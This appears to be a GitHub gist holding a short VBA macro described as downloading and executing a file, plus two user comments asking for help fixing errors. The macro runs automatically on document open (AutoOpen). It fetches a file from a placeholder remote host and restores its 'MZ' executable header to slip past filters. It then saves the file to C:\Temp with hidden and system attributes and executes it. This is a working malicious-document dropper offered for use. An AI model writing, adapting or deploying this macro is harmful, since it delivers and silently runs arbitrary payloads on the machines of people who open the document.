Last active
August 5, 2024 14:58
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Save nopslider/0d48760928642ca190ed to your computer and use it in GitHub Desktop.
A short VBA macro to download and execute a file (patching the first two bytes of the file)
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Sub AutoOpen() | |
Const ADTYPEBINARY = 1 | |
Const ADSAVECREATEOVERWRITE = 2 | |
Dim xHttp | |
Dim bStrm | |
Dim filename | |
Set xHttp = CreateObject("Microsoft.XMLHTTP") | |
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False | |
xHttp.Send | |
Set gobjBinaryOutputStream = CreateObject("Adodb.Stream") | |
filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now()) | |
gobjBinaryOutputStream.Type = ADTYPEBINARY | |
gobjBinaryOutputStream.Open | |
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M") | |
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z") | |
gobjBinaryOutputStream.write xHttp.responseBody | |
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE | |
SetAttr filename, vbReadOnly + vbHidden + vbSystem | |
Shell (filename) | |
End Sub | |
hi
I creat but when I test display this error
Run-time error '-2146697211(800c0005)':
The system cannot locate the resource specified
please help me
Hi. I am getting a error in saving the file. runtime error 3004 (in line 23). Is it a privilege problem. I am in the administrator account. Can you help me in fixing this one? Thankz.
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